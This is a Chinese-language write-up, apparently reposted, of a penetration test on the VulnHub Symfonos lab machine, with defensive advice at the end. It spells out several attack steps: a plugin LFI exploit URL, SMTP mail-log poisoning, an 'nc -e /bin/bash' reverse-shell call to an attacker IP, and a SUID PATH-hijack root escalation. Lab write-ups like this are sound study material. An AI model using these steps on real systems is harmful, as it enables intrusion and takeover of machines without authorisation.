文章总结: 本文详细记录了Symfonos靶机的完整渗透测试过程,从SMB空会话枚举用户、弱密码获取凭据、WordPress老插件LFI漏洞读取文件,到利用SMTP日志投毒实现LFI转RCE获取shell,最后通过SUID程序PATH劫持提权至root。文章还提供了关闭SMB空会话、禁用弱密码、及时更新插件等防御建议,技术链条完整,实操性强。
综合评分: 88
文章分类: 渗透测试,红队,内网渗透,漏洞分析
从「只能读文件」到「拿到 shell」,就差一封邮件
Hash-Sec
Hash-Sec
Hash-Sec
2026年9月19日 19:54
浙江
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
TECH INSIGHT
Symfonos 靶机渗透记录
Symfonos 是 VulnHub 上的一台中等难度 Linux 靶机,名字取自希腊神话中的海神。这台靶机的设计非常经典——把 SMB 空会话、弱密码、WordPress 老插件、LFI 日志投毒、SUID 环境变量劫持这几个独立但连贯的技术点串成了一条完整的渗透链。
Hash-Sec
01
KEY INSIGHT
- 主机发现
渗透的第一步永远是确认目标存在。局域网里跑 arp-scan,找活跃的主机:
arp-scan –localnet
先用 arp-scan 扫局域网,找到目标 192.168.68.168(VMware 虚拟机)。
访问主页,是一张巴洛克风格的神话油画,没有明显文字信息。这种情况很常见——主页往往只是个门面,真正的攻击面藏在子目录和服务里。
02
KEY INSIGHT
- 端口发现
确定 IP 之后,第一步就是全端口扫描,把所有开放服务摸清楚。nmap 的 -p- 参数扫全部 65535 个端口,-A 开激进探测,能识别服务版本和脚本信息:
nmap -p- -A -T4 192.168.68.168
只列关键结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.25 ((Debian))
139/tcp open netbios-ssn Samba smbd 3.X – 4.X
445/tcp open netbios-ssn Samba smbd 4.5.16-Debian
Host script results:
| smb-security-mode: |
| account_used: guest
| authentication_level: user
|_ message_signing: disabled (dangerous, but default)
开放了 22(SSH)、25(SMTP)、80(HTTP)、139/445(SMB)。这五个端口各有各的攻击面:
01
SSH:通常用来暴力破解或利用特定版本漏洞
02
SMTP:发邮件服务,后面日志投毒会用到
03
HTTP:Web 服务,最常见的入口
04
SMB:文件共享,允许 guest 匿名访问,这是这台靶机的第一个突破口
SMB 允许 guest 匿名访问,值得先看看——很多管理员觉得内网 SMB 无所谓,但空会话泄露的用户名和共享名往往就是突破口。
03
KEY INSIGHT
- SMB 枚举
找到 SMB 开放之后,先用 enum4linux 把 SMB 能吐出来的信息全扒一遍。-a 是全量枚举,包括用户、共享、组、密码策略:
enum4linux -a 192.168.68.168
关键结果:
[+] Server 192.168.68.168 allows sessions using username ”, password ”
Account: helios
user:[helios] rid:[0x3e8]
服务器允许空会话,枚举出一个本地用户 helios。
知识点:SMB 空会话(Null Session)是老版本 Windows/Samba 遗留的功能,允许匿名用户连接到 IPC$ 共享并查询用户列表、共享列表等信息。虽然现代系统默认关闭,但很多老服务和靶机还开着。
04
KEY INSIGHT
- 匿名共享
知道有 SMB 服务,先匿名登录看看有什么共享:
smbclient -L //192.168.68.168 -N
-N 表示空密码,直接匿名登录。
匿名共享里只有一个 attention.txt,内容挺有意思:
Zeus 警告大家别再用 epidioko、qwerty、baseball 这类弱密码,等于把密码提示发给了我。拿这三个密码试 SSH,都登录失败。
小技巧:靶机里出现的「警告」「提醒」「不要用 XX」这类文字,几乎都是在告诉你答案。这里提到的三个弱密码,就是后面要用到的密码字典。
05
KEY INSIGHT
- 个人共享文件
匿名共享没拿到直接可用的凭据,但已经知道有个用户叫 helios。换思路:用枚举到的用户名 helios 登录他自己的个人共享,密码就用刚才看到的弱密码试:
smbclient //192.168.68.168/helios -U helios
密码输入 qwerty,直接登进去了。
里面两个文件。research.txt 是赫利俄斯的神话介绍,没什么有用信息:
todo.txt 才是关键,第三行写着 “Work on /h31105″,是个目录提示:
思路:渗透不是拿到什么就直接用,而是每一步都要把碎片信息拼起来。匿名共享告诉你「用户叫 helios,喜欢用弱密码」→ SMB 枚举确认了 helios 这个用户 → 用弱密码试 helios 的个人共享 → 拿到了隐藏目录的路径。这条链每一步都不复杂,但串起来就是完整的信息收集。
06
KEY INSIGHT
- WordPress 站点
按提示拼接访问 http://192.168.68.168/h3l105/,果然是个 WordPress 站点。
WordPress 是渗透测试里最常见的 CMS 之一,先用专门的工具 wpscan 枚举。先枚举用户:
wpscan –url http://192.168.68.168/h3l105/ –enumerate u
结果:
[+] admin | Found By: Author Id Brute Forcing – Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
枚举到 admin 用户。再枚举插件(–plugins-detection mixed 是混合检测,被动模式结果可能不全):
wpscan –url http://192.168.68.168/h3l105/ -e ap –plugins-detection mixed
结果:
[+] mail-masta | Version: 1.0 | Directory listing is enabled
[+] site-editor | Version: 1.1.1
发现两个老插件:mail-masta 1.0(CVE-2016-10956 未授权文件包含)、site-editor 1.1.1(CVE-2018-7422 未授权文件包含),都有已知漏洞。
为什么查插件? WordPress 本身可能没洞,但插件是重灾区。成千上万的第三方插件里,老版本插件的未授权文件包含、SQL 注入、上传漏洞多如牛毛。wpscan 会自动匹配已知 CVE。
07
KEY INSIGHT
- LFI 读文件
LFI(Local File Inclusion,本地文件包含)就是让服务器去读取它自己的文件。这里用 site-editor 插件的 ajax_shortcode_pattern.php,通过 ajax_path 参数读 /etc/passwd:
http://192.168.68.168/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
读到了 /etc/passwd,确认了 helios 是个普通用户。
LFI 的本质:程序把用户传入的路径直接拼进了 include() 或 require(),没有做过滤。只要能控制路径参数,就能读任意文件。但只读文件还不够,我们要的是执行命令。
08
KEY INSIGHT
- SMTP 日志投毒 getshell
光读文件没用,得想办法执行代码。靶机开了 25 端口 SMTP,这就是突破口——SMTP 日志投毒。
原理很简单:Postfix 收到邮件后,会把原始邮件内容写到用户的邮箱文件里(/var/mail/helios)。如果我们往 helios 发一封邮件,正文里写 PHP 代码,然后再用 LFI 去包含这个邮件文件,PHP 代码就会被执行。
思路:telnet 往 helios 发一封邮件,正文里插入 PHP 代码:
telnet 192.168.68.168 25
HELO test
MAIL FROM:test@test.com
RCPT TO:
DATA
.
QUIT
RCPT TO 指定收件人,邮件正文写 。发完再包含邮件文件触发代码执行,就能连上反弹 shell:
http://192.168.68.168/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&cmd=nc 192.168.68.156 9999 -e /bin/bash
反弹 shell 到手。
LFI 转 RCE 的常见思路:
-
日志投毒:往 Apache/Nginx/SSH/SMTP 日志里注入 PHP 代码,再包含日志文件
-
/proc/self/environ:环境变量注入
-
phpinfo():配合文件上传
-
直接读 session 文件
>
这台靶机开了 SMTP,所以用 SMTP 日志是最自然的选择。
09
KEY INSIGHT
- SUID 提权
拿到普通用户 shell 之后,下一步就是提权到 root。先找找有哪些 SUID 文件:
find / -perm -u=s -type f 2>/dev/null
输出里大部分都是系统自带的标准 SUID 程序。但 /opt/statuscheck 不在常规列表里,很可疑——这个路径不在系统默认 SUID 列表里,说明是管理员自己放的。
执行看看:
返回了一个 HTTP 响应头,看起来像是在 curl 某个本地服务的状态。那它内部很可能调用了 curl 命令。
思路来了:SUID 程序调用系统命令时,用的是 PATH 环境变量里的第一个匹配项。如果我们在 /tmp 放一个假的 curl,内容是 /bin/bash -p,然后把 /tmp 加到 PATH 最前面,那这个 SUID 程序就会执行我们的假 curl——而且因为它是 SUID root,我们的假 bash 也会以 root 权限运行。
具体操作:
echo ‘/bin/bash -p’ > /tmp/curl
chmod +x /tmp/curl
export PATH=/tmp:$PATH
再跑一次 /opt/statuscheck,成功拿到 root:
SUID 提权的核心逻辑:SUID = 运行时拥有文件所有者的权限。如果一个 root 所有的 SUID 程序内部调用了外部命令,而那个命令又可以通过 PATH 劫持来替换,你就拿到了 root shell。常见的可利用 SUID 程序在 GTFOBins 里都能查到。
10
KEY INSIGHT
- 复盘与防御启示
这台靶机的整条链拆开来每一步都不难,但设计得很巧妙:
| 阶段 | 突破口 | 关键信息 |
| — | — | — |
| 信息收集 | SMB 空会话 | 拿到用户名 helios |
| 凭据获取 | 弱密码提示 + 暴力试错 | helios 的密码是 qwerty |
| 进入系统 | WordPress 老插件 LFI | 可读任意文件 |
| 获取 shell | SMTP 日志投毒 | LFI 转 RCE |
| 权限提升 | SUID + PATH 劫持 | 普通用户 → root |
如果是真实系统,防御建议:
1. 关闭 SMB 空会话:限制匿名访问,不要把内网 SMB 当自己家后院 2. 禁用弱密码:qwerty、baseball、123456 这种密码等于没设 3. 及时更新插件:WordPress 插件是重灾区,老插件的已知 CVE 一抓一个准 4. 限制 LFI 风险:文件包含功能做好白名单,别让用户控制路径 5. 审核 SUID 程序:定期检查非标准路径的 SUID 文件,很多都是管理员不小心加上的
11
KEY INSIGHT
关联知识
01
enum4linux:SMB/NetBIOS/RPC 信息枚举工具,主要针对 Windows 或 Samba 主机收集用户、共享、组、密码策略、系统信息等。
02
SMB:网络协议,用于在计算机之间共享文件、打印机、串口等资源。
03
LFI:Local File Inclusion,本地文件包含漏洞,允许攻击者读取服务器上的任意文件。
04
SUID:Set User ID,一种文件权限位,运行时获得文件所有者的权限。
12
KEY INSIGHT
完整攻击链路图
END
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Hash-Sec Hash-Sec
Hash-Sec《从「只能读文件」到「拿到 shell」,就差一封邮件》